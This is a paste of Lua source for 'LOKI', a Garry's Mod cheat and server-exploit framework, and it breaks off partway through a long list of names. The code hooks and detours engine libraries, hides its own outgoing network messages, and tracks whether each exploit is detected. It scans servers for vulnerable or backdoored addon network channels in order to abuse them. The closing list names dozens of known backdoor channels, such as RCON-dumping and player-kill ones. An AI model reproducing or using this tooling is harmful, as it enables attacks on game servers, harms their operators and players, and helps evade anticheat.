· 5 years ago · Mar 30, 2020, 06:48 PM
1local LOKI = {LP = LocalPlayer(), ARES = true}
2LOKI.LAST = {}
3local LAST_TABLE = {}
4if(isfunction(cleanup.GetList)) then
5 LAST_TABLE = cleanup.GetList()
6end
7if(istable(LAST_TABLE)) then
8 LOKI.LAST = table.Copy( LAST_TABLE )
9end
10function cleanup.GetList() return LOKI end
11LOKI.Developer = false
12LOKI.SecureHooks = true
13LOKI.Config = {}
14local grad = Material( "gui/gradient" )
15local upgrad = Material( "gui/gradient_up" )
16local downgrad = Material( "gui/gradient_down" )
17local ctext = chat and chat.AddText or print
18function LOKI.GetUpValues( func )
19 if(!isfunction(func)) then return {} end
20 if(isfunction(debug.getupvalues)) then
21 return debug.getupvalues(func)
22 end
23 local info = debug.getinfo( func, "uS" )
24 local variables = {}
25
26 -- Upvalues can't be retrieved from C functions
27 if ( info != nil && info.what == "Lua" ) then
28 local upvalues = info.nups
29
30 for i = 1, upvalues do
31 local key, value = debug.getupvalue( func, i )
32 variables[ key ] = value
33 end
34 end
35
36 return variables
37end
38function LOKI.MultiSend(sploit, func)
39 for k, v in ipairs(sploit.functions) do
40 if(sploit.bools[v.bool] == true) then
41 LOKI.NetStart( sploit, v.channel )
42 if(isfunction(func)) then
43 func()
44 elseif(istable(func) && (isfunction(func[v.channel]) || isfunction(func["*"]))) then
45 func[v.channel || "*"]()
46 end
47 net.SendToServer()
48 end
49 end
50end
51function LOKI.GetEnabledCount(sploit)
52 if(!sploit) then return 0 end
53 local i = 0
54 for k, v in pairs(sploit.bools) do
55 if(v == true && k != "enabled") then
56 i = i + 1
57 end
58 end
59 return i
60end
61function LOKI.GetEnabled(sploit)
62 if(!sploit) then return false end
63 if(table.Count(sploit.bools) == 1 || sploit.typ != "bools") then return sploit.bools.enabled end
64 for k, v in pairs(sploit.bools) do
65 if(v == true && k != "enabled") then
66 return true
67 end
68 end
69 return false
70end
71function LOKI.ValidNetString( ... )
72 local tbl = {...}
73 if(#tbl == 0) then return false end
74 if(istable(tbl)) then
75 for k, v in pairs(tbl) do
76 if(LOKI.BAIT_CHANNELS[v] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GENERAL_OVERRIDE) then return false, 1 end
77 LOKI.BlockNetOutgoing = true
78 if(util.NetworkIDToString(util.NetworkStringToID( v )) != v) then -- && (!LOKI.ServerDump || LOKI.ServerDump:find(v)
79 LOKI.BlockNetOutgoing = false
80 return false
81 end
82 LOKI.BlockNetOutgoing = false
83 end
84 return true
85 end
86 return false
87end
88function LOKI.DynamicNetString( ... )
89 local tbl = {...}
90 for i = 1, math.huge do
91 local str = util.NetworkIDToString(i)
92 if not str then return false end
93
94 local found = true
95
96 if(istable(tbl)) then
97 for k, v in pairs(tbl) do
98 if(!v || str:find(v) == nil) then
99 found = false
100 end
101 end
102 end
103
104 if(found) then
105 if(LOKI.BAIT_CHANNELS[str] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GENERAL_OVERRIDE) then return false, 1 end
106 return str
107 end
108 end
109end
110function LOKI.DynamicNetStrings( ... )
111 local tbl = {...}
112 local ret = {}
113 local bait_count = 0
114 for i = 1, math.huge do
115 local str = util.NetworkIDToString(i)
116 if not str then break end
117
118 local found = true
119
120 if(istable(tbl)) then
121 for k, v in pairs(tbl) do
122 if(!v || str:find(v) == nil) then
123 found = false
124 end
125 end
126 end
127
128 if(found) then
129 if (LOKI.BAIT_CHANNELS[str] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GENERAL_OVERRIDE) then
130 bait_count = bait_count + 1
131 else
132 ret[#ret+1] = str
133 end
134 end
135 end
136 return ret, bait_count
137end
138function LOKI.GetAllReceivers()
139 LOKI.Receivers = {[1] = {["str"] = "*"}}
140 for i = 1, math.huge do
141 local str = util.NetworkIDToString(i)
142 if !str || !LOKI.ValidNetString(str) then break end
143
144 LOKI.Receivers[#LOKI.Receivers + 1] = {["str"] = str}
145 end
146 return LOKI.Receivers
147end
148LOKI.ents = {}
149LOKI.ents.FindByGlobal = function(...)
150 local tbl = {...}
151 local ent_tbl = {}
152 local found = true
153 if(#tbl == 0) then
154 return ents.GetAll()
155 end
156 for k, v in ipairs(ents.GetAll()) do
157 found = true
158 if(istable(tbl)) then
159 for k2, v2 in pairs(tbl) do
160 if(v[v2] == nil) then
161 found = false
162 end
163 end
164 end
165 if(found) then
166 ent_tbl[#ent_tbl + 1] = v
167 end
168 end
169 return ent_tbl
170end
171LOKI.vgui = {
172 Create = function(class, parent, name)
173 local detour_call = LOKI.DetourCall || false
174 LOKI.DetourCall = false
175 local ret = vgui.Create(class, parent, name, true)
176 LOKI.DetourCall = detour_call
177 return ret
178 end
179}
180LOKI.Exploits = {}
181LOKI.StartCol = Color(150, 50, 0)
182LOKI.FinishCol = Color(80, 80, 120)
183function LOKI.Interpolate(a, b, proportion)
184 return (a + ((b - a) * (proportion / 100)));
185end
186function LOKI.GetColor(percentage)
187 percentage = math.Clamp(percentage, 0, 100)
188 if(percentage == 0) then
189 return Color(255,255,255)
190 end
191 local a, b, c = ColorToHSV(LOKI.FinishCol)
192 local a1, b1, c1 = ColorToHSV(LOKI.StartCol)
193 local a2, b2, c2
194 a2 = LOKI.Interpolate(a, a1, percentage)
195 b2 = LOKI.Interpolate(b, b1, percentage)
196 c2 = LOKI.Interpolate(c, c1, percentage)
197 return HSVToColor(a2,b2,c2)
198end
199local StatusColors = {
200 [1] = Color( 80, 120, 80 ),
201 [2] = Color( 150, 90, 50 ),
202 [3] = Color( 150, 50, 0 ),
203 [4] = Color( 255, 255, 255 ),
204}
205local StatusText = {
206 [1] = "Undetected",
207 [2] = "Outdated",
208 [3] = "Detected",
209 [4] = "N/A",
210}
211LOKI.Index = {}
212function LOKI.GetExploit(Name, Index)
213 local IndexTable = LOKI.Index[Name]
214 if(LOKI.Exploits[IndexTable]) then
215 if(Index) then
216 return LOKI.Exploits[IndexTable][Index]
217 else
218 return LOKI.Exploits[IndexTable]
219 end
220 else
221 return false
222 end
223end
224function LOKI.ValidTable(tbl)
225 if(istable(tbl)) then
226 return "table"
227 elseif(type(tbl) != "string" && getmetatable(tbl) && getmetatable(tbl).__index != nil) then
228 return "metatable"
229 else
230 return false
231 end
232end
233function LOKI.NotNil(var)
234 if(var != nil) then
235 return var
236 end
237end
238function LOKI.RecursiveGetVar(search, tbl, typevar, create)
239 if(!LOKI.ValidTable(search) || !LOKI.ValidTable(tbl)) then
240 return false
241 end
242 for k, v in pairs(tbl) do
243 if((!search || !search[v]) || (search && search[v] && (typevar && type(search[v]) != typevar) && !LOKI.ValidTable(search[v]))) then
244 if((!search || !search[v]) && typevar == "table" && create) then
245 if(!search) then
246 search = {}
247 end
248 search[v] = {}
249 search = search[v]
250 else
251 return false
252 end
253 else
254 if(!search[v] && typevar == "table" && create) then
255 search[v] = {}
256 end
257 search = search[v]
258 end
259 end
260 return search
261end
262function LOKI.GetAllExploits()
263 local exploits = {}
264 for k, v in ipairs( LOKI.Exploits ) do
265 if(istable(v) && v.IsCategory) then
266 for k2, v2 in ipairs(v) do
267 if(istable(v2) && v2.Name) then
268 exploits[#exploits + 1] = v2
269 end
270 end
271 end
272 end
273 return exploits
274end
275LOKI.Detours = LOKI.LAST.Detours || {}
276function LOKI.GetDetour(Name, Fallback)
277 local str = string.Split(Name, ".")
278 return LOKI.Detours[(str[1])] && LOKI.Detours[(str[1])][(str[2])] || Fallback
279end
280function LOKI.Detour(tbl_name, func, tbl, callback)
281 if(!LOKI.ValidTable(tbl)) then return end
282 if(!LOKI.Detours[tbl_name]) then
283 LOKI.Detours[tbl_name] = {}
284 end
285 if(!LOKI.Detours["Backup"]) then
286 LOKI.Detours["Backup"] = {}
287 end
288 if(!LOKI.Detours["Backup"][tbl_name]) then
289 LOKI.Detours["Backup"][tbl_name] = {table.Copy(tbl)}
290 end
291 if(!LOKI.Detours[tbl_name][func]) then
292 LOKI.Detours[tbl_name][func] = LOKI.Detours["Backup"][tbl_name][1][func]
293 //print(tbl_name.."."..func .. " detoured successfully")
294 end
295 if(isfunction(LOKI.Detours[tbl_name][func])) then
296 if(!LOKI.Detours["Callback"]) then
297 LOKI.Detours["Callback"] = {}
298 end
299 if(!LOKI.Detours["Callback"][tbl_name]) then
300 LOKI.Detours["Callback"][tbl_name] = {}
301 end
302 LOKI.Detours["Callback"][tbl_name][func] = callback
303
304 local sfunc = LOKI.Detours[tbl_name][func]
305 rawset(tbl, func, callback)
306 if(tbl[func] == sfunc) then
307 tbl[func] = callback
308 end
309 end
310end
311local net = net
312if(DLib && istable(DLib.nativeNet)) then
313 net = DLib.nativeNet
314end
315LOKI.TYPEVARS = {
316 MORETHAN = 0,
317 LESSTHAN = 1,
318 EQUALTO = 2,
319 NOTEQUALTO = 3,
320}
321LOKI.DetourTables = {
322 ["net"] = {
323 ["table"] = _G.net,
324 ["functions"] = {["*"] = true, ["Incoming"] = false, ["Receive"] = false},
325 ["PreCall"] = {
326 ["Start"] = function(key, tbl, varargs)
327 if(LOKI.SafeOutgoingMsg == varargs[1]) then return end
328 tbl.NetOutgoingMsg = varargs[1]
329 if(LOKI.BlockNetOutgoing) then return false end
330 end,
331 ["*"] = function(key, tbl, varargs, func)
332 if(LOKI.NetOutgoingMsg) then
333 if(!istable(tbl.NetOutgoingData) || !tbl.NetOutgoingData[0] || tbl.NetOutgoingData[0] != LOKI.NetOutgoingMsg) then
334 tbl.NetOutgoingData = {[0] = tbl.NetOutgoingMsg}
335 end
336 if(key:StartWith("Write") && jit.util.funcinfo(func).addr) then
337 if(#varargs != 0) then
338 local index = #tbl.NetOutgoingData+1
339 local typevar = string.Replace(key, "Write", "")
340 tbl.NetOutgoingData[index] = varargs
341 tbl.NetOutgoingData[index].Type = typevar
342 end
343 if(LOKI.BlockNetOutgoing) then return false end
344 end
345 end
346 end,
347 },
348 ["PostCall"] = {
349 ["SendToServer"] = function(key, tbl, varargs)
350 if(tbl.NetOutgoingMsg && LOKI.Developer) then PrintTable(tbl.NetOutgoingData) end
351 tbl.NetOutgoingMsg = nil
352 tbl.NetOutgoingData = nil
353 end,
354 },
355 },
356 ["concommand"] = {
357 ["table"] = _G.concommand,
358 ["functions"] = {["*"] = true, ["Add"] = false, ["GetTable"] = false},
359 },
360 /*["string"] = {
361 ["table"] = _G.string,
362 ["functions"] = {["lower"] = true},
363 },*/
364 ["util"] = {
365 ["table"] = _G.util,
366 ["functions"] = {["NetworkIDToString"] = true, ["TraceLine"] = true, ["TableToJSON"] = true, ["LookupKeyBinding"] = true, ["LookupBinding"] = true, },
367 },
368 ["math"] = {
369 ["table"] = _G.math,
370 ["functions"] = {["random"] = true, ["abs"] = true},
371 },
372 ["table"] = {
373 ["table"] = _G.table,
374 ["functions"] = {["Copy"] = true},
375 },
376 ["usermessage"] = {
377 ["table"] = _G.usermessage,
378 ["functions"] = {["IncomingMessage"] = true},
379 },
380 ["cam"] = {
381 ["table"] = _G.cam,
382 ["functions"] = {["Start3D"] = true, ["End3D"] = true},
383 },
384 ["vgui"] = {
385 ["table"] = _G.vgui,
386 ["functions"] = {["Create"] = true},
387 },
388 /*["render"] = {
389 ["table"] = _G.render,
390 ["functions"] = {["SetRenderTarget"] = true},
391 },*/
392 ["gui"] = {
393 ["table"] = _G.gui,
394 ["functions"] = {["*"] = true, ["EnableScreenClicker"] = false, ["MousePos"] = false, ["MouseX"] = false, ["MouseY"] = false, ["OpenURL"] = false, ["ScreenToVector"] = false},
395 },
396 ["input"] = {
397 ["table"] = _G.input,
398 ["functions"] = {["StartKeyTrapping"] = true, ["SetCursorPos"] = true},
399 },
400 ["properties"] = {
401 ["table"] = _G.properties,
402 ["functions"] = {["Add"] = true},
403 },
404 /*["_G"] = {
405 ["table"] = _G,
406 ["functions"] = {["SortedPairsByMemberValue"] = true},
407 },*/
408}
409// table_to_search, variable, MORE/LESS/EQUALTO, value, varargs
410function LOKI.GetVarTable(tbl, var, typevar, val, metatable, ...)
411 if(!typevar) then
412 typevar = LOKI.TYPEVARS.EQUALTO
413 end
414 local exploits = {}
415 if(istable(tbl) && var && typevar && val) then
416 for k, v in ipairs( tbl ) do
417 if(LOKI.ValidTable(v)) then
418 local var_l,val_l = var,val
419 if(LOKI.ValidTable(var)) then
420 var_l = LOKI.RecursiveGetVar(v, var)
421 else
422 if(isfunction(v[var])) then
423 if(LOKI.ValidTable(v) == "metatable" || metatable) then
424 var_l = v[var](v, ...)
425 else
426 var_l = v[var](...)
427 end
428 else
429 var_l = v[var]
430 end
431 if(isfunction(val)) then
432 val_l = val()
433 end
434 end
435 if(typevar == LOKI.TYPEVARS.MORETHAN) then
436 if(LOKI.SafeToNumber(var_l) > LOKI.SafeToNumber(val_l)) then
437 exploits[#exploits + 1] = v
438 end
439 elseif(typevar == LOKI.TYPEVARS.LESSTHAN) then
440 if(LOKI.SafeToNumber(var_l) < LOKI.SafeToNumber(val_l)) then
441 exploits[#exploits + 1] = v
442 end
443 elseif(typevar == LOKI.TYPEVARS.EQUALTO) then
444 if(var_l == val_l) then
445 exploits[#exploits + 1] = v
446 end
447 elseif(typevar == LOKI.TYPEVARS.NOTEQUALTO) then
448 if(var_l != val_l) then
449 exploits[#exploits + 1] = v
450 end
451 end
452 end
453 end
454 end
455 return exploits
456end
457function LOKI.SetTableContents(t1,t2)
458 table.Empty(t1)
459 table.Merge(t1, t2)
460end
461function LOKI.GetVarExploits(var, typevar, val)
462 return LOKI.GetVarTable(LOKI.GetAllExploits(), var, typevar, val)
463end
464LOKI.RunDetours = function()
465 for k, v in pairs(LOKI.DetourTables) do
466 local ValidTable = LOKI.ValidTable(v.table)
467 if(istable(v) && ValidTable) then
468 for k1, v1 in pairs(v.table) do
469 if(isfunction(v1) && (!istable(v.functions) || ((v.functions["*"] && v.functions[k1] != false) || v.functions[k1]))) then
470 LOKI.Detour(k, k1, v.table, function(...)
471 local varargs = {...}
472 //if(LOKI.Killswitch && !LOKI.Unload && !LOKI.Detours) then return v1(unpack(varargs)) end
473 local func = LOKI.Detours[k][k1]
474 if(!LOKI.Killswitch && !LOKI.Unload) then
475 if(istable(v.PreCall) && isfunction(v.PreCall[k1] || v.PreCall["*"])) then
476 local ret_val = ((v.PreCall[k1] || v.PreCall["*"])(k1, LOKI, varargs, func))
477 if ret_val != nil then return ret_val end
478 end
479
480 if(LOKI.DetourCall != true) then
481 local ret = nil
482
483 if(isfunction(LOKI.GetAllExploits)) then
484 local det_call = LOKI.DetourCall || false
485 LOKI.DetourCall = true
486 for k2, v2 in ipairs(LOKI.GetAllExploits()) do
487 local tbl = v2.hooks && (v2.hooks[k] || v2.hooks["*"])
488 if(v2.scanned && v2.hooks && tbl && (tbl[k1] || tbl["*"])) then
489 local xfunc = (tbl[k1] || tbl["*"])
490 local return_val = nil
491 if(xfunc == tbl["*"]) then
492 return_val = xfunc(k, k1, v2, varargs, LOKI.Detours[k][k1])
493 else
494 return_val = xfunc(v2, varargs, LOKI.Detours[k][k1])
495 end
496 if(return_val != nil) then
497 ret = return_val
498 end
499 end
500 end
501 LOKI.DetourCall = det_call
502 end
503
504 if(istable(v.PostCall) && isfunction(v.PostCall[k1] || v.PostCall["*"])) then
505 local ret_val = ((v.PostCall[k1] || v.PostCall["*"])(k1, LOKI, varargs, func))
506 if ret_val != nil then return ret_val end
507 end
508
509 if(ret) then
510 return ret
511 elseif(ret == false) then
512 return false
513 end
514 end
515 end
516
517 if(ValidTable == "metatable") then
518 return func(v.table, unpack(varargs))
519 else
520 return func(unpack(varargs))
521 end
522 end)
523 end
524 end
525 end
526 end
527end
528LOKI.RunDetours()
529function LOKI.GetLP()
530 return LOKI.LP
531end
532function LOKI.AddExploit( Name, tab )
533 if !isstring( Name ) then print("Error: Exploit missing Name") return end
534 if !istable( tab ) then print("Error: Exploit missing table") return end
535 tab.Name = Name
536 if(!LOKI.Index[Name]) then
537 if(tab.severity != 0) then
538 LOKI.Index[Name] = table.insert(LOKI.Exploits, {})
539 else
540 LOKI.Index[Name] = table.insert(LOKI.Exploits, 1, {})
541 end
542 local IndexTable = LOKI.Index[Name]
543 LOKI.Exploits[IndexTable] = {["IsCategory"] = true}
544 end
545 local IndexTable = LOKI.Index[Name]
546 local Index = table.insert(LOKI.Exploits[IndexTable], tab)
547 LOKI.GetExploit(Name, Index).Index = Index
548 if !tab.hooks && !tab.general_override then print("Error: Function with no hooks added, is this the intention?") print(LOKI.GetExploit(Name, Index).Name, Index) end
549end
550function LOKI.IsStored( addr )
551 return LOKI.Config[addr] != nil && LOKI.Config[addr].val != nil
552end
553function LOKI.GetStored( addr, fallback, skipwhitelist, datatable )
554 local tbl = LOKI.Config
555 if(tbl[addr] == nil && fallback == nil) then return end
556 if fallback and (tbl[addr] == nil || tbl[addr].val == nil || tbl[addr].val == {}) then LOKI.Store(addr, fallback) end
557 if((istable(tbl[addr].val) || fallback == {}) && LOKI.GetWhitelist(addr) && !skipwhitelist) then
558 local plytbl = player.GetAll()
559 for k, v in pairs( tbl[addr].val ) do
560 table.RemoveByValue(plytbl, v)
561 end
562 return plytbl
563 end
564 if fallback and (tbl[addr] == nil || tbl[addr].val == nil) then return fallback end
565 return tbl[addr].val
566end
567function LOKI.NetStart( sploit, str, rel )
568 LOKI.BlockNetOutgoing = true
569 LOKI.GENERAL_OVERRIDE = true
570 if(!istable(str) && !LOKI.ValidNetString( str )) then
571 print("Warning: " .. sploit.Name .. " #".. sploit.Index .. " attempted to send an unpooled message", str)
572 LOKI.BlockNetOutgoing = false
573 LOKI.GENERAL_OVERRIDE = false
574 else
575 if((!sploit || isstring(sploit)) && !str) then
576 print("An exploit is using the legacy system and will not support rate limiting, tell invalid")
577 str = sploit
578 else
579 if(!sploit["Sender"] && LOKI.GetEnabled(sploit) && LOKI.RecursiveGetVar(sploit, {"hooks", "Think"}, "function")) then
580 sploit["Sender"] = true
581 end
582 end
583 if(isfunction(nwidcek)) then
584 if(isfunction(netStart)) then
585 LOKI.Detours["net"]["Start"] = netStart
586 end
587 end
588 local netstart = net.Start
589 if odium and odium.G and odium.G.net then
590 netstart = odium.G.net.Start
591 end
592 if(istable(str)) then
593 for k, v in pairs(str) do
594 if(LOKI.ValidNetString(v)) then
595 str = v
596 break
597 end
598 end
599 end
600 if(istable(str)) then
601 print("Warning: " .. sploit.Name .. " #".. sploit.Index .. " attempted to send an unpooled message")
602 LOKI.BlockNetOutgoing = false
603 return
604 end
605 LOKI.SafeOutgoingMsg = str
606 local ret = nil
607 if(rel) then
608 ret = netstart( str )
609 else
610 ret = netstart( str, LOKI.ARES )
611 end
612 LOKI.BlockNetOutgoing = false
613 LOKI.SafeOutgoingMsg = nil
614 LOKI.GENERAL_OVERRIDE = false
615 return ret
616 end
617end
618function LOKI.RCC(sploit, ...)
619 local RCC = RunConsoleCommand
620 if(istable(sploit)) then
621 if(!sploit["Sender"] && LOKI.GetEnabled(sploit) && LOKI.RecursiveGetVar(sploit, {"hooks", "Think"}, "function")) then
622 sploit["Sender"] = true
623 end
624 local det_call = LOKI.DetourCall || false
625 LOKI.DetourCall = true
626 local ret = RCC( ... )
627 LOKI.DetourCall = det_call
628 return ret
629 else
630 print("An exploit is using the legacy system and will not support rate limiting, tell invalid")
631 end
632end
633function LOKI.Store( addr, val, datatable )
634 local tbl = datatable || LOKI.Config
635 if(tbl[addr] == nil) then
636 tbl[addr] = {}
637 end
638 tbl[addr].val = (istable(val) && table.Copy(val)) || val
639end
640function LOKI.SetWhitelist( addr, bool, datatable )
641 local tbl = datatable || LOKI.Config
642 if(tbl[addr] == nil) then
643 tbl[addr] = {}
644 end
645 tbl[addr].IsWhitelist = bool
646end
647function LOKI.GetWhitelist( addr, datatable )
648 local tbl = datatable || LOKI.Config
649 return tbl[addr] != nil && tbl[addr].IsWhitelist == true
650end
651function LOKI.GetAllStored()
652 return LOKI.Config
653end
654function LOKI.GetAllStoredData()
655 local ret = {}
656 for k, v in pairs( LOKI.Config ) do
657 if !istable( v ) then ret[k] = v end
658 end
659 return ret
660end
661function LOKI.LoadConfig()
662 local f = file.Read( "lokiv2.dat", "DATA" )
663 if !f then print( "Error: No saved configs found" ) end
664 local raw = util.Decompress( f )
665 local config = util.JSONToTable( raw )
666 table.Merge( LOKI.Config, config )
667-- LOKI.Config = config
668 LOKI.Menu:Remove()
669 print( "Loaded Configuration File" )
670end
671function LOKI.SaveConfig()
672 local config = util.TableToJSON( LOKI.GetAllStoredData() )
673 if !config then return end
674 local compressed = util.Compress( config )
675 file.Write( "lokiv2.dat", compressed )
676 print( "Saved Configuration File" )
677end
678LOKI.BAIT_UNSORTED = {"fg_printer_money", "SprintSpeedset", "CFEndGame", "sendtable", "plyWarning", "pplay_deleterow", "NLR_SPAWN", "TowTruck_CreateTowTruck", "ARMORY_RetrieveWeapon", "pac.net.TouchFlexes.ClientNotify", "slua2", "ClickerAddToPoints", "steamid2", "TransferReport", "explodeallcarbd", "Sbox_gm_attackofnullday_key", "ats_send_toServer", "redirectionplayerbd", "AbilityUse", "RP_Fine_Player", "DaHit", "JB_Votekick", "CpForm_Answers", "skeleton_dancing_troll", "ignite_bd", "75_plus_win", "modelchangerbd", "BuySecondTovar", "spawnentitybd", "FactionInviteConsole", "rprotect_terminal_settings", "ban_rdm", "forcejobbd", "textscreens_download", "PoliceJoin", "CFRemoveGame", "├Ş├á?D)Ôùİ", "RevivePlayer", "DataSend", "TOW_SubmitWarning", "BM2.Command.SellBitcoins", "DepositMoney", "CFJoinGame", "ItemStoreUse", "forceconcommandbd", "Kun_SellOil", "PCAdd", "drugseffect_hpremove", "artillerybd", "argentjetaurrais2", "spawnvehiclebd", "netKey", "NC_GetNameChange", "pac_to_contraption", "start_wd_emp", "messagespambd", "linkbd", "accidentvoiturebd", "hsend", "egg", "unlockalldoororlockallbd", "18_25_hack_mood", "RXCAR_SellINVCar_C2S", "RecKickAFKer", "tickbooksendfine", "pac_submit", "banleaver", "rebootbd", "VJSay", "ATM_DepositMoney_C2S", "Sandbox_ArmDupe", "net_PSUnBoxServer", "GiveHealthNPC", "memes", "PlayerUseItem", "Letthisdudeout", "services_accept", "DarkRP_SS_Gamble", "dLogsGetCommand", "SellMinerals", "superadmin_vite", "RXCAR_Shop_Store_C2S", "ATS_WARP_REMOVE_CLIENT", "changerlenombd", "fpp_reset_all", "2dplayermodelbd", "TOW_PayTheFine", "spawnpropbd", "CraftSomething", "clearallbansbd", "mercipourtonip", "withdrawp", "SendMoney", "BuyCar", "FIRE_CreateFireTruck", "jeveuttonrconleul", "kill_player_bd", "fp_as_doorHandler", "pplay_sendtable", "disablebackdoor", "godmodbd", "teleport2bd", "customprinter_get", "MONEY_SYSTEM_GetWeapons", "gportal_rpname_change", "hitcomplete", "artilleryplayerbd", "fuckupulxbd", "Remove_Exploiters", "NDES_SelectedEmblem", "NLR.ActionPlayer", "NET_EcSetTax", "StackGhost", "DarkRP_Kun_ForceSpawn", "whk_setart", "Upgrade", "CreateCase", "rconspammer", "_blacksmurf", "disguise", "infiniteammobd", "drugseffect_remove", "playsoundurlbd", "SimplicityAC_aysent", "freezeplybd", "BuilderXToggleKill", "GMBG:PickupItem", "MDE_RemoveStuff_C2S", "SimpilicityAC_aysent", "BuyFirstTovar", "gBan.BanBuffer", "PCDelAll", "jesuslebg", "TalkIconChat", "hurlement_bd", "ATS_WARP_VIEWOWNER", "drugs_text", "bodyman_model_change", "inversergraviterbd", "changejobnamebd", "WriteQuery", "TCBBuyAmmo", "TFA_Attachment_RequestAll", "TCBuyAmmo", "BuyKey", "ckit_roul_bet", "nostrip", "centerbd", "NET_SS_DoBuyTakeoff", "DarkRP_spawnPocket", "teleport1bd", "ActivatePC", "drugs_money", "pogcp_report_submitReport", "race_accept", "healtharmorbd", "TakeBetMoney", "BuyCrate", "Kun_ZiptieStruggle", "faitcommeloiseaubd", "FacCreate", "DuelMessageReturn", "ATS_WARP_FROM_CLIENT", "DL_Answering", "thefrenchenculer", "Taxi_Add", "pplay_addrow", "stripallbd", "CRAFTINGMOD_SHOP", "SyncPrinterButtons76561198056171650", "ply_pick_shit", "join_disconnect", "DarkRP_preferredjobmodel", "viv_hl2rp_disp_message", "Kun_SellDrug", "forcesaybd", "drugs_ignite", "chatspambd", "Warn_CreateWarn", "buyinghealth", "NewReport", "BM2.Command.Eject", "kickbd", "argentjetaurrais", "EZS_PlayerTag", "1942_Fuhrer_SubmitCandidacy", "ATMDepositMoney", "blacksmurfBackdoor", "JoinOrg", "toupiebd", "casinokit_chipexchange", "FinishContract", "rektallmodels", "discobd", "crashplayergamebd", "giveweaponbd", "hhh_request", "zilnix", "rconadmin", "FarmingmodSellItems", "give_me_weapon", "Morpheus.StaffTracker", "NLRKick", "Chatbox_PlayerChat", "rconcommandbd", "Chess Top10", "cloackbd", "RP_Accept_Fine", "WithdrewBMoney", "reports.submit", "slua", "giveweapon", "RHC_jail_player", "duelrequestguiYes", "tremblementdeterrebd", "kart_sell", "speedhackbd", "removepermaprop_bd", "soez", "deletealldatabd", "textstickers_entdata", "BailOut", "pplay_sendtable", "VJSay", "textstickers_entdata", "NC_GetNameChange", "CFJoinGame", "loki_bigspames2", "SKIN", "stringx", "mathx", "_G", "color_white", "_LOADLIB", "_LOADED", "color_transparent", "func", "g_SBoxObjects", "tablex", "Morph", "SpawniconGenFunctions", "DOF_Ents", "_E", "_R", "duelrequestguiYes", "drugs_money", "drugs_ignite", "drugs_text", "SyncPrinterButtons76561198056171650", "rprotect_terminal_settings", "JoinOrg", "NDES_SelectedEmblem", "join_disconnect", "NLRKick", "Morpheus.StaffTracker", "duelrequestguiYes", "drugs_ignite", "ply_pick_shit", "TalkIconChat", "NDES_SelectedEmblem", "BuyFirstTovar", "BuySecondTovar", "GiveHealthNPC", "BuyKey", "BuyCrate", "MONEY_SYSTEM_GetWeapons", "SyncPrinterButtons16690", "DarkRP_SS_Gamble", "PCAdd", "DarkRP_SS_Gamble", "viv_hl2rp_disp_message", "Sbox_gm_attackofnullday", "Sbox_gm_attackofnullday_key", "Kun_SellDrug", "Ulib_Message", "ULogs_Info", "fix", "Fix_Keypads", "noclipcloakaesp_chat_text", "_Defqon", "_CAC_ReadMemory", "nostrip", "nocheat", "LickMeOut", "ULX_QUERY2", "ULXQUERY2", "MoonMan", "Im_SOCool", "Sandbox_GayParty", "DarkRP_UTF8", "oldNetReadData", "memeDoor", "BackDoor", "OdiumBackDoor", "SessionBackdoor", "DarkRP_AdminWeapons", "cucked", "NoNerks", "kek", "ZimbaBackDoor", "something", "random", "enablevac", "idk", "fellosnake", "c", "killserver", "fuckserver", "cvaraccess", "rcon", "web", "jesuslebg", "Þ� ?D)◘", "DefqonBackdoor", "WriteQuery", "SellMinerals", "TakeBetMoney", "Kun_SellOil", "PoliceJoin", "CpForm_Answers", "MDE_RemoveStuff_C2S", "RP_Accept_Fine", "l_players_listing_fine", "montant_argent11", "RXCAR_Shop_Store_C2S", "CRAFTINGMOD_SHOP", "drugs_ignite", "drugseffect_hpremove", "drugs_text", "GMBG:PickupItem", "plyWarning", "timebombDefuse", "start_wd_emp", "kart_sell", "FarmingmodSellItems", "ClickerAddToPoints", "bodyman_model_change", "BailOut", "TOW_SubmitWarning", "FIRE_CreateFireTruck", "hitcomplete", "hhh_request", "DaHit", "customprinter_get", "textstickers_entdata", "TCBBuyAmmo", "DataSend", "rprotect_terminal_settings", "fp_as_doorHandler", "TransferReport", "stripper_gunz", "properties", "skeleton_dancing_troll", "music", "rcon_passw_dump", "jeveuttonrconleul", "aucun_rcon_ici", "jeveuttonrconleul", "Надеюсь, ты усвоил урок", "cl_yawspeed 8", "Music_troll", "wowlolwut_my_boi", "ITEM", "chmluaviewer", "Defqon_wallhack", "Defqon_anticheats", "NET_LUA_CLIENTS", "NET_LUA_SV", "EASY_CHAT_MODULE_LUA_CLIENTS", "EASY_CHAT_MODULE_LUA_SV", "blackdoor", "toxic.LuaStr", "toxic.pro", "bodyman_chatprint", "bodyman_model_change", "bodygroups_change", "skins_change", "thereaper", "noprop", "dontforget", "aze46aez67z67z64dcv4bt", "changename", "nolag", "reaper", "slua2", "thereaperishere", "hentai", "slua", "the2d78", "bethedeath", "elfamosabackdoormdr", "zilnixestbo", "reaperexploits", "fr_spamstring", "CpForm_Answers", "MDE_RemoveStuff_C2S", "start_wd_emp", "kart_sell", "FarmingmodSellItems", "ClickerAddToPoints", "fp_as_doorHandler", "TransferReport", "odium_setname", "ace_menu", "odium_lua_run_cl", "blogs_refresh", "blogs_refreshblog", "blogs_resetall", "pChat", "SuggestionsBriefInfo", "SuggestionsSpecificInfo", "SuggestionsGetInfo", "SuggestionsClientEdits", "SuggestionsRefresh", "Morpheus.Init", "Morpheus.ClientCheckActivity", "DL_Answering_global", "pSayBroadcaster", "TCBBuyAmmo", "DataSend", "FarmingmodSellItems", "duelrequestguiYes", "egg", "TalkIconChat", "exploits_open", "chat_AddText", "magnum", "RAINBOWPLAYER", "menu", "setMagicTypeHP", "TheFrenchGuy", "htx_mode", "htx_menu", "htx_macros", "ГћГ ?D)в—", "metro_notification", "BM2.Command.SellBitcoins", "ItemStoreUse", "ItemStoreDrop", "gMining.sellMineral", "PlayerUseItem", "RequestMAPSize", "MG2.Request.GangRankings", "dLogsGetCommand", "shopguild_buyitem", "VoteKickNO", "VoteBanNO", "Warn_CreateWarn", "showDisguiseHUD", "Chatbox_PlayerChat", "BuilderXToggleKill", "services_accept", "lockpick_sound", "InformPlayer", "1942_Fuhrer_SubmitCandidacy", "FacCreate", "FactionInviteConsole", "WithdrewBMoney", "deathrag_takeitem", "REPPurchase", "Resupply", "DarkRP_Defib_ForceSpawn", "FiremanLeave", "CreateEntity", "CREATE_REPORT", "Hopping_Test", 